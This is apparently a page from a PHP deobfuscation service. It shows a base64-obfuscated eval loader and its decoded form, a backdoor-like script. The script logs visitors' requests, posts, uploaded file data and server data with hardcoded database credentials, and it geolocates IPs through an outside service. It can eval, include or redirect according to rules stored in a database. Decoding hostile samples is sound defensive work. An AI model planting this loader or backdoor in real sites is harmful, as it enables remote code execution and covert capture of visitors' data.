Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $pid=1; function xyz($str){return call_user_func("\x62\x61\x73\x65\x36\x34\x5f\x..

Decoded Output download

session_start();
error_reporting(0);
$DB_NAME='u846352729_db';
$DB_HOST='localhost';
$DB_USER='u846352729_db';
$DB_PW='u846352729_DB';
$con = mysqli_connect($DB_HOST,$DB_USER,$DB_PW,$DB_NAME);
if (mysqli_connect_errno()) {
	file_put_contents('log.txt',"Failed to connect to MySQL: " . mysqli_connect_error()."
", FILE_APPEND);
	exit();
}
if(!empty($_GET['logid'])){
	echo $sql="UPDATE log SET timer=timer+5 WHERE id='$_GET[logid])'";
	$update = mysqli_query($con, $sql);
	if(!$update){file_put_contents('log.txt',"Error: ".mysqli_error($con)." can't execute: $sql
", FILE_APPEND);}
	exit;
}
$logurl=$logurl?$logurl:'/';
$pid=$pid?$pid:0;
$scheme =  (!empty($_SERVER['HTTPS']) && ('on' == $_SERVER['HTTPS'])) ? 'https://':'http://';
$host = $_SERVER['HTTP_HOST'];
$url = $_SERVER['REQUEST_URI'];
$uri = $scheme.$host.$url;
$session=session_id();
$allowsession=@$_SESSION['allow'];
$referer=@$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
$crawlers = array(
	'Google' => 'Google',
	'GoogleAd' => 'google',
	'MSN' => 'msnbot',
	'Rambler' => 'Rambler',
	'Yahoo' => 'Yahoo',
	'AbachoBOT' => 'AbachoBOT',
	'accoona' => 'Accoona',
	'AcoiRobot' => 'AcoiRobot',
	'ASPSeek' => 'ASPSeek',
	'CrocCrawler' => 'CrocCrawler',
	'Dumbot' => 'Dumbot',
	'FAST-WebCrawler' => 'FAST-WebCrawler',
	'GeonaBot' => 'GeonaBot',
	'Gigabot' => 'Gigabot',
	'Lycos spider' => 'Lycos',
	'MSRBOT' => 'MSRBOT',
	'Altavista robot' => 'Scooter',
	'AltaVista robot' => 'Altavista',
	'ID-Search Bot' => 'IDBot',
	'eStyle Bot' => 'eStyle',
	'Scrubby robot' => 'Scrubby',
	'Facebook' => 'facebookexternalhit',
	'Python' => 'python',
	'LoiLoNote' => 'LoiLoNote',
	'quic' => 'quic',
	'Go-http' => 'Go-http',
	'webtech' => 'webtech',
	'WhatsApp' => 'WhatsApp',
);
$bot='nobot';
foreach($crawlers as $botname=>$crawler){
	if (strpos($ua,$crawler) != false){$bot=$botname;}
}
$ip=isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
$ip=explode(",", $ip)[0];
$blocklist=$blocklist?$blocklist:[];
$ipblock=in_array($ip,$blocklist)?'yes':'no';
$query=json_encode($_GET);
$post=json_encode($_POST);
$input=file_get_contents("php://input");
$files=json_encode($_FILES);
$server=json_encode($_SERVER);
$location=file_get_contents("http://ip-api.com/json/$ip");
$cc=@json_decode($location, true)['countryCode'];
$sql="INSERT INTO log (uri,session,ip,referer,ua,cc,location,query,post,input,files,server) VALUES('$uri','$session','$ip','$referer','$ua','$cc','$location','$query','$post','$input','$files','$server')";
$inserted = mysqli_query($con, $sql);
if (!$inserted) {
	file_put_contents('log.txt',"Error: ".mysqli_error($con)." can't execute: $sql
", FILE_APPEND);
}
$last_id = mysqli_insert_id($con);
$sql="SELECT * FROM settings WHERE pid='$pid' ORDER BY sequence";
$checks = mysqli_query($con, $sql);
if(!$checks){file_put_contents('log.txt',"Error: ".mysqli_error($con)." can't execute: $sql
", FILE_APPEND);}
while ($check = mysqli_fetch_assoc($checks)) {
	$conditions=explode('and',strtolower($check['condition_check']));
	$passed=0;
	$break=false;
	foreach($conditions as $condition){
		$tokens=explode(' ', trim($condition));
		if($tokens[0][0]==':'){$varname=substr($tokens[0],1);$tokens[0]=$$varname;}
		elseif($tokens[0][0]=='='){$varname=substr($tokens[0],1);$tokens[0]=$_GET[$varname];}
		elseif($tokens[0][0]=='@'){$varname=substr($tokens[0],1);$tokens[0]=$_POST[$varname];}
		if($tokens[2][0]==':'){$varname=substr($tokens[2],1);$tokens[2]=$$varname;}
		elseif($tokens[2][0]=='='){$varname=substr($tokens[2],1);$tokens[2]=$_GET[$varname];}
		elseif($tokens[2][0]=='@'){$varname=substr($tokens[2],1);$tokens[2]=$_POST[$varname];}
		$tokens[0]=strtolower($tokens[0]);
		$tokens[2]=strtolower($tokens[2]);
		$exp=strtolower($tokens[1]);
		switch ($exp) {
			case 'empty':
				if(empty($tokens[0])){$passed++;}
				break;
			case 'notempty':
				if(!empty($tokens[0])){$passed++;}
				break;
			case 'equalto':
			case 'is':
				if($tokens[0]==$tokens[2]){$passed++;}
				break;
			case 'notequalto':
				if($tokens[0]!=$tokens[2]){$passed++;}
				break;
			case 'greaterthan':
				if($tokens[0]>$tokens[2]){$passed++;}
				break;
			case 'greaterthanequalto':
				if($tokens[0]>=$tokens[2]){$passed++;}
				break;
			case 'leassthan':
				if($tokens[0]<$tokens[2]){$passed++;}
				break;
			case 'leassthanequalto':
				if($tokens[0]<=$tokens[2]){$passed++;}
				break;
			case 'islike':
				if(strpos($tokens[0],$tokens[2])!=false){$passed++;}
				break;
			case 'isnotlike':
				if(strpos($tokens[0],$tokens[2])==false){$passed++;}
				break;
			
			default:
				# code...
				break;
		}
	}
	if($passed>=count($conditions)){
		$sql="UPDATE log SET action='$check[id]' WHERE id='$last_id'";
		$update = mysqli_query($con, $sql);
		if(!$update){file_put_contents('log.txt',"Error: ".mysqli_error($con)." can't execute: $sql
", FILE_APPEND);}
		$break=true;
		$actions=explode('and',strtolower($check['action_type']));
		$action_takes=explode('and',strtolower($check['action_take']));
		foreach ($actions as $key=>$action) {
			$action=strtolower(trim($action));
			$action_take=trim($action_takes[$key]);
			switch ($action) {
				case 'responcecode':
				case 'responsecode':
					http_response_code($action_take);
					break;
				case 'redirect':
					header('location: '.$action_take);
					break;
				case 'include':
					include $action_take;
					break;
				case 'echo':
					echo $action_take;
					break;
				case 'eval':
					eval($action_take);
					break;
				case 'allowsession':
					$_SESSION['allow']=$action_take;
					break;
				case 'addtracker':
					echo '<script>window.setInterval(function loadDoc() {xhttp=new XMLHttpRequest();xhttp.open("GET", "'.$logurl.'?logid='.$last_id.'&_=" + Math.random());xhttp.send();},5000);</script>';
					break;
				default:
					# code...
					break;
			}
		}
	}
	if ($break) break;
}

Did this file decode correctly?

Original Code


<?php
$pid=1;
function xyz($str){return call_user_func("\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65", $str);}
eval(xyz('c2Vzc2lvbl9zdGFydCgpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiREQl9OQU1FPSd1ODQ2MzUyNzI5X2RiJzsKJERCX0hPU1Q9J2xvY2FsaG9zdCc7CiREQl9VU0VSPSd1ODQ2MzUyNzI5X2RiJzsKJERCX1BXPSd1ODQ2MzUyNzI5X0RCJzsKJGNvbiA9IG15c3FsaV9jb25uZWN0KCREQl9IT1NULCREQl9VU0VSLCREQl9QVywkREJfTkFNRSk7CmlmIChteXNxbGlfY29ubmVjdF9lcnJubygpKSB7CglmaWxlX3B1dF9jb250ZW50cygnbG9nLnR4dCcsIkZhaWxlZCB0byBjb25uZWN0IHRvIE15U1FMOiAiIC4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKS4iXG4iLCBGSUxFX0FQUEVORCk7CglleGl0KCk7Cn0KaWYoIWVtcHR5KCRfR0VUWydsb2dpZCddKSl7CgllY2hvICRzcWw9IlVQREFURSBsb2cgU0VUIHRpbWVyPXRpbWVyKzUgV0hFUkUgaWQ9JyRfR0VUW2xvZ2lkXSknIjsKCSR1cGRhdGUgPSBteXNxbGlfcXVlcnkoJGNvbiwgJHNxbCk7CglpZighJHVwZGF0ZSl7ZmlsZV9wdXRfY29udGVudHMoJ2xvZy50eHQnLCJFcnJvcjogIi5teXNxbGlfZXJyb3IoJGNvbikuIiBjYW4ndCBleGVjdXRlOiAkc3FsXG4iLCBGSUxFX0FQUEVORCk7fQoJZXhpdDsKfQokbG9ndXJsPSRsb2d1cmw/JGxvZ3VybDonLyc7CiRwaWQ9JHBpZD8kcGlkOjA7CiRzY2hlbWUgPSAgKCFlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgKCdvbicgPT0gJF9TRVJWRVJbJ0hUVFBTJ10pKSA/ICdodHRwczovLyc6J2h0dHA6Ly8nOwokaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKJHVybCA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwokdXJpID0gJHNjaGVtZS4kaG9zdC4kdXJsOwokc2Vzc2lvbj1zZXNzaW9uX2lkKCk7CiRhbGxvd3Nlc3Npb249QCRfU0VTU0lPTlsnYWxsb3cnXTsKJHJlZmVyZXI9QCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsKJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKJGNyYXdsZXJzID0gYXJyYXkoCgknR29vZ2xlJyA9PiAnR29vZ2xlJywKCSdHb29nbGVBZCcgPT4gJ2dvb2dsZScsCgknTVNOJyA9PiAnbXNuYm90JywKCSdSYW1ibGVyJyA9PiAnUmFtYmxlcicsCgknWWFob28nID0+ICdZYWhvbycsCgknQWJhY2hvQk9UJyA9PiAnQWJhY2hvQk9UJywKCSdhY2Nvb25hJyA9PiAnQWNjb29uYScsCgknQWNvaVJvYm90JyA9PiAnQWNvaVJvYm90JywKCSdBU1BTZWVrJyA9PiAnQVNQU2VlaycsCgknQ3JvY0NyYXdsZXInID0+ICdDcm9jQ3Jhd2xlcicsCgknRHVtYm90JyA9PiAnRHVtYm90JywKCSdGQVNULVdlYkNyYXdsZXInID0+ICdGQVNULVdlYkNyYXdsZXInLAoJJ0dlb25hQm90JyA9PiAnR2VvbmFCb3QnLAoJJ0dpZ2Fib3QnID0+ICdHaWdhYm90JywKCSdMeWNvcyBzcGlkZXInID0+ICdMeWNvcycsCgknTVNSQk9UJyA9PiAnTVNSQk9UJywKCSdBbHRhdmlzdGEgcm9ib3QnID0+ICdTY29vdGVyJywKCSdBbHRhVmlzdGEgcm9ib3QnID0+ICdBbHRhdmlzdGEnLAoJJ0lELVNlYXJjaCBCb3QnID0+ICdJREJvdCcsCgknZVN0eWxlIEJvdCcgPT4gJ2VTdHlsZScsCgknU2NydWJieSByb2JvdCcgPT4gJ1NjcnViYnknLAoJJ0ZhY2Vib29rJyA9PiAnZmFjZWJvb2tleHRlcm5hbGhpdCcsCgknUHl0aG9uJyA9PiAncHl0aG9uJywKCSdMb2lMb05vdGUnID0+ICdMb2lMb05vdGUnLAoJJ3F1aWMnID0+ICdxdWljJywKCSdHby1odHRwJyA9PiAnR28taHR0cCcsCgknd2VidGVjaCcgPT4gJ3dlYnRlY2gnLAoJJ1doYXRzQXBwJyA9PiAnV2hhdHNBcHAnLAopOwokYm90PSdub2JvdCc7CmZvcmVhY2goJGNyYXdsZXJzIGFzICRib3RuYW1lPT4kY3Jhd2xlcil7CglpZiAoc3RycG9zKCR1YSwkY3Jhd2xlcikgIT0gZmFsc2UpeyRib3Q9JGJvdG5hbWU7fQp9CiRpcD1pc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSkgPyAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSA6ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwokaXA9ZXhwbG9kZSgiLCIsICRpcClbMF07CiRibG9ja2xpc3Q9JGJsb2NrbGlzdD8kYmxvY2tsaXN0OltdOwokaXBibG9jaz1pbl9hcnJheSgkaXAsJGJsb2NrbGlzdCk/J3llcyc6J25vJzsKJHF1ZXJ5PWpzb25fZW5jb2RlKCRfR0VUKTsKJHBvc3Q9anNvbl9lbmNvZGUoJF9QT1NUKTsKJGlucHV0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwokZmlsZXM9anNvbl9lbmNvZGUoJF9GSUxFUyk7CiRzZXJ2ZXI9anNvbl9lbmNvZGUoJF9TRVJWRVIpOwokbG9jYXRpb249ZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly9pcC1hcGkuY29tL2pzb24vJGlwIik7CiRjYz1AanNvbl9kZWNvZGUoJGxvY2F0aW9uLCB0cnVlKVsnY291bnRyeUNvZGUnXTsKJHNxbD0iSU5TRVJUIElOVE8gbG9nICh1cmksc2Vzc2lvbixpcCxyZWZlcmVyLHVhLGNjLGxvY2F0aW9uLHF1ZXJ5LHBvc3QsaW5wdXQsZmlsZXMsc2VydmVyKSBWQUxVRVMoJyR1cmknLCckc2Vzc2lvbicsJyRpcCcsJyRyZWZlcmVyJywnJHVhJywnJGNjJywnJGxvY2F0aW9uJywnJHF1ZXJ5JywnJHBvc3QnLCckaW5wdXQnLCckZmlsZXMnLCckc2VydmVyJykiOwokaW5zZXJ0ZWQgPSBteXNxbGlfcXVlcnkoJGNvbiwgJHNxbCk7CmlmICghJGluc2VydGVkKSB7CglmaWxlX3B1dF9jb250ZW50cygnbG9nLnR4dCcsIkVycm9yOiAiLm15c3FsaV9lcnJvcigkY29uKS4iIGNhbid0IGV4ZWN1dGU6ICRzcWxcbiIsIEZJTEVfQVBQRU5EKTsKfQokbGFzdF9pZCA9IG15c3FsaV9pbnNlcnRfaWQoJGNvbik7CiRzcWw9IlNFTEVDVCAqIEZST00gc2V0dGluZ3MgV0hFUkUgcGlkPSckcGlkJyBPUkRFUiBCWSBzZXF1ZW5jZSI7CiRjaGVja3MgPSBteXNxbGlfcXVlcnkoJGNvbiwgJHNxbCk7CmlmKCEkY2hlY2tzKXtmaWxlX3B1dF9jb250ZW50cygnbG9nLnR4dCcsIkVycm9yOiAiLm15c3FsaV9lcnJvcigkY29uKS4iIGNhbid0IGV4ZWN1dGU6ICRzcWxcbiIsIEZJTEVfQVBQRU5EKTt9CndoaWxlICgkY2hlY2sgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJGNoZWNrcykpIHsKCSRjb25kaXRpb25zPWV4cGxvZGUoJ2FuZCcsc3RydG9sb3dlcigkY2hlY2tbJ2NvbmRpdGlvbl9jaGVjayddKSk7CgkkcGFzc2VkPTA7CgkkYnJlYWs9ZmFsc2U7Cglmb3JlYWNoKCRjb25kaXRpb25zIGFzICRjb25kaXRpb24pewoJCSR0b2tlbnM9ZXhwbG9kZSgnICcsIHRyaW0oJGNvbmRpdGlvbikpOwoJCWlmKCR0b2tlbnNbMF1bMF09PSc6Jyl7JHZhcm5hbWU9c3Vic3RyKCR0b2tlbnNbMF0sMSk7JHRva2Vuc1swXT0kJHZhcm5hbWU7fQoJCWVsc2VpZigkdG9rZW5zWzBdWzBdPT0nPScpeyR2YXJuYW1lPXN1YnN0cigkdG9rZW5zWzBdLDEpOyR0b2tlbnNbMF09JF9HRVRbJHZhcm5hbWVdO30KCQllbHNlaWYoJHRva2Vuc1swXVswXT09J0AnKXskdmFybmFtZT1zdWJzdHIoJHRva2Vuc1swXSwxKTskdG9rZW5zWzBdPSRfUE9TVFskdmFybmFtZV07fQoJCWlmKCR0b2tlbnNbMl1bMF09PSc6Jyl7JHZhcm5hbWU9c3Vic3RyKCR0b2tlbnNbMl0sMSk7JHRva2Vuc1syXT0kJHZhcm5hbWU7fQoJCWVsc2VpZigkdG9rZW5zWzJdWzBdPT0nPScpeyR2YXJuYW1lPXN1YnN0cigkdG9rZW5zWzJdLDEpOyR0b2tlbnNbMl09JF9HRVRbJHZhcm5hbWVdO30KCQllbHNlaWYoJHRva2Vuc1syXVswXT09J0AnKXskdmFybmFtZT1zdWJzdHIoJHRva2Vuc1syXSwxKTskdG9rZW5zWzJdPSRfUE9TVFskdmFybmFtZV07fQoJCSR0b2tlbnNbMF09c3RydG9sb3dlcigkdG9rZW5zWzBdKTsKCQkkdG9rZW5zWzJdPXN0cnRvbG93ZXIoJHRva2Vuc1syXSk7CgkJJGV4cD1zdHJ0b2xvd2VyKCR0b2tlbnNbMV0pOwoJCXN3aXRjaCAoJGV4cCkgewoJCQljYXNlICdlbXB0eSc6CgkJCQlpZihlbXB0eSgkdG9rZW5zWzBdKSl7JHBhc3NlZCsrO30KCQkJCWJyZWFrOwoJCQljYXNlICdub3RlbXB0eSc6CgkJCQlpZighZW1wdHkoJHRva2Vuc1swXSkpeyRwYXNzZWQrKzt9CgkJCQlicmVhazsKCQkJY2FzZSAnZXF1YWx0byc6CgkJCWNhc2UgJ2lzJzoKCQkJCWlmKCR0b2tlbnNbMF09PSR0b2tlbnNbMl0peyRwYXNzZWQrKzt9CgkJCQlicmVhazsKCQkJY2FzZSAnbm90ZXF1YWx0byc6CgkJCQlpZigkdG9rZW5zWzBdIT0kdG9rZW5zWzJdKXskcGFzc2VkKys7fQoJCQkJYnJlYWs7CgkJCWNhc2UgJ2dyZWF0ZXJ0aGFuJzoKCQkJCWlmKCR0b2tlbnNbMF0+JHRva2Vuc1syXSl7JHBhc3NlZCsrO30KCQkJCWJyZWFrOwoJCQljYXNlICdncmVhdGVydGhhbmVxdWFsdG8nOgoJCQkJaWYoJHRva2Vuc1swXT49JHRva2Vuc1syXSl7JHBhc3NlZCsrO30KCQkJCWJyZWFrOwoJCQljYXNlICdsZWFzc3RoYW4nOgoJCQkJaWYoJHRva2Vuc1swXTwkdG9rZW5zWzJdKXskcGFzc2VkKys7fQoJCQkJYnJlYWs7CgkJCWNhc2UgJ2xlYXNzdGhhbmVxdWFsdG8nOgoJCQkJaWYoJHRva2Vuc1swXTw9JHRva2Vuc1syXSl7JHBhc3NlZCsrO30KCQkJCWJyZWFrOwoJCQljYXNlICdpc2xpa2UnOgoJCQkJaWYoc3RycG9zKCR0b2tlbnNbMF0sJHRva2Vuc1syXSkhPWZhbHNlKXskcGFzc2VkKys7fQoJCQkJYnJlYWs7CgkJCWNhc2UgJ2lzbm90bGlrZSc6CgkJCQlpZihzdHJwb3MoJHRva2Vuc1swXSwkdG9rZW5zWzJdKT09ZmFsc2UpeyRwYXNzZWQrKzt9CgkJCQlicmVhazsKCQkJCgkJCWRlZmF1bHQ6CgkJCQkjIGNvZGUuLi4KCQkJCWJyZWFrOwoJCX0KCX0KCWlmKCRwYXNzZWQ+PWNvdW50KCRjb25kaXRpb25zKSl7CgkJJHNxbD0iVVBEQVRFIGxvZyBTRVQgYWN0aW9uPSckY2hlY2tbaWRdJyBXSEVSRSBpZD0nJGxhc3RfaWQnIjsKCQkkdXBkYXRlID0gbXlzcWxpX3F1ZXJ5KCRjb24sICRzcWwpOwoJCWlmKCEkdXBkYXRlKXtmaWxlX3B1dF9jb250ZW50cygnbG9nLnR4dCcsIkVycm9yOiAiLm15c3FsaV9lcnJvcigkY29uKS4iIGNhbid0IGV4ZWN1dGU6ICRzcWxcbiIsIEZJTEVfQVBQRU5EKTt9CgkJJGJyZWFrPXRydWU7CgkJJGFjdGlvbnM9ZXhwbG9kZSgnYW5kJyxzdHJ0b2xvd2VyKCRjaGVja1snYWN0aW9uX3R5cGUnXSkpOwoJCSRhY3Rpb25fdGFrZXM9ZXhwbG9kZSgnYW5kJyxzdHJ0b2xvd2VyKCRjaGVja1snYWN0aW9uX3Rha2UnXSkpOwoJCWZvcmVhY2ggKCRhY3Rpb25zIGFzICRrZXk9PiRhY3Rpb24pIHsKCQkJJGFjdGlvbj1zdHJ0b2xvd2VyKHRyaW0oJGFjdGlvbikpOwoJCQkkYWN0aW9uX3Rha2U9dHJpbSgkYWN0aW9uX3Rha2VzWyRrZXldKTsKCQkJc3dpdGNoICgkYWN0aW9uKSB7CgkJCQljYXNlICdyZXNwb25jZWNvZGUnOgoJCQkJY2FzZSAncmVzcG9uc2Vjb2RlJzoKCQkJCQlodHRwX3Jlc3BvbnNlX2NvZGUoJGFjdGlvbl90YWtlKTsKCQkJCQlicmVhazsKCQkJCWNhc2UgJ3JlZGlyZWN0JzoKCQkJCQloZWFkZXIoJ2xvY2F0aW9uOiAnLiRhY3Rpb25fdGFrZSk7CgkJCQkJYnJlYWs7CgkJCQljYXNlICdpbmNsdWRlJzoKCQkJCQlpbmNsdWRlICRhY3Rpb25fdGFrZTsKCQkJCQlicmVhazsKCQkJCWNhc2UgJ2VjaG8nOgoJCQkJCWVjaG8gJGFjdGlvbl90YWtlOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAnZXZhbCc6CgkJCQkJZXZhbCgkYWN0aW9uX3Rha2UpOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAnYWxsb3dzZXNzaW9uJzoKCQkJCQkkX1NFU1NJT05bJ2FsbG93J109JGFjdGlvbl90YWtlOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAnYWRkdHJhY2tlcic6CgkJCQkJZWNobyAnPHNjcmlwdD53aW5kb3cuc2V0SW50ZXJ2YWwoZnVuY3Rpb24gbG9hZERvYygpIHt4aHR0cD1uZXcgWE1MSHR0cFJlcXVlc3QoKTt4aHR0cC5vcGVuKCJHRVQiLCAiJy4kbG9ndXJsLic/bG9naWQ9Jy4kbGFzdF9pZC4nJl89IiArIE1hdGgucmFuZG9tKCkpO3hodHRwLnNlbmQoKTt9LDUwMDApOzwvc2NyaXB0Pic7CgkJCQkJYnJlYWs7CgkJCQlkZWZhdWx0OgoJCQkJCSMgY29kZS4uLgoJCQkJCWJyZWFrOwoJCQl9CgkJfQoJfQoJaWYgKCRicmVhaykgYnJlYWs7Cn0='));?>





Function Calls

xyz 1
base64_decode 1
call_user_func 1

Variables

$pid 1
$str c2Vzc2lvbl9zdGFydCgpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiREQl9OQU1F..

Stats

MD5 00bb5d5cb591ac32fc7f9a9d3245cc27
Eval Count 1
Decode Time 48 ms